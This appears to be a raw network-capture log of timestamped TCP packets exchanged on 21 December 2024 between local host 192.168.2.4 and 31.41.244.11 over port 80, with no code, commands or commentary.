Dec 21, 2024 18:16:38.985852957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.986690044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.986788988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.986866951 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.987678051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.987762928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.987798929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.988621950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.988694906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.131105900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.131138086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.131155014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.131195068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.131195068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.131232023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.131406069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.131498098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.132174015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.132350922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.132416964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.133099079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.133220911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.133285999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.134032965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.134207964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.134289026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.134979010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.135138035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.135224104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.135926962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.135987043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.136075020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.136890888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.136951923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.137027979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.137862921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.137958050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.137972116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.138029099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.138809919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.138906956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.138998985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.139710903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.139853001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.139946938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.140640020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.140711069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.140728951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.141663074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.141714096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.141748905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.141803980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.142556906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.142669916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.143503904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.143625021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.144335032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.144469976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.144733906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.144901991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.145612001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.145710945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.145771027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.146357059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.146408081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.146436930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.147330999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.147383928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.147422075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.147531033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.148226976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.148282051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.148367882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.149182081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.149311066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.149353981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.150130033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.150263071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.150342941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.151216984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.151379108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.151505947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.152148962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.152165890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.152198076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.152240992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.153219938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.153235912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.153265953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.153336048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.154213905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.154259920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.154280901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.154964924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.155023098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.155034065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.155828953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.155915976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.156059980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.156785965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.156853914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.156889915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.157886982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.157942057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.158035040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.158848047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.158977032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.158998013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.159945011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.159998894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.160056114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.160110950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.160931110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.161053896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.161159039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.161739111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.161818027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.161870003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.162646055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.162797928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.162899017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.163443089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.163496017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.163501024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.164340019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.164455891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.164561033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.165328026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.165373087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.165473938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.166289091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.166342974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.166347980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.166407108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.167237997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.167284966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.167332888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.168205023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.168317080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.168478012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.169172049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.169219971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.169265985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.170057058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.170109034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.170136929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.170988083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.171049118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.171171904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.171211958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.171937943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.172056913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.172135115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.172913074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.172997952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.173111916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.173840046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.173942089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.173995972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.174972057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.175117016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.175179005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.175843000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.175884008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.175954103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.176724911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.176981926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.177062988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.177750111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.177812099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.177870035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.178669930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.178685904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.178708076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.178755045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.179533005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.179605007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.179622889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.180521965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.180613995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.323657990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.323681116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.323834896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.323858023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.323883057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.323968887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.324805021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.324866056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.324940920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.325773001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.325848103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.325892925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.325951099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.326704025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.326848984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.327003956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.327606916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.327738047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.327790022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.328571081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.328644037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.328685999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.329504013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.329596043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.329607964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.330432892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.330539942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.330558062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.330605984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.331420898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.331552982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.331656933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.332537889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.332588911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.332640886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.333792925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.333817005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.333885908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.334407091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.334424973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.334460974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.334481955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.335351944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.335371971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.335455894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.336124897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.336188078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.336237907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.337131023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.337187052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.337253094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.338063002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.338107109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.338202000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.338994980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.339042902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.339122057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.339163065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.339991093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.340106010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.340190887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.340917110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.341039896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.341167927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.341842890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.341974020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.342020035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.342854977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.342931032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.342986107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.343709946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.343859911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.343914032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.344824076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.344870090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.344880104 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.345627069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.345690012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.345729113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.346543074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.346601009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.346682072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.346760035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.347495079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.347641945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.347721100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.348443985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.348581076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.348654032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.349392891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.349447012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.350053072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.350466013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.350545883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.350569963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.351315975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.351320028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.351489067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.351563931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.352286100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.352426052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.352509975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.353250980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.353374004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.353391886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.354353905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.354422092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.354449987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.355139017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.355228901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.355264902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.355264902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.356055021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.356208086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.356256962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.357048035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.357131004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.357225895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.357988119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.358164072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.358213902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.359042883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.359227896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.359280109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.360426903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.360480070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.360491991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.361011982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.361072063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.361293077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.362227917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.362313986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.362318993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.362354040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.363127947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.363205910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.363260031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.364058971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.364109993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.364159107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.364563942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.364634991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.364640951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.365529060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.365575075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.365673065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.365838051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.366516113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.366656065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.366664886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.367304087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.367446899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.367503881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.367599010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.367638111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.368451118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.368530035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.368568897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:39.368628025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:39.369321108 CET	80	49826	31.41.244.11	192.168.2.4
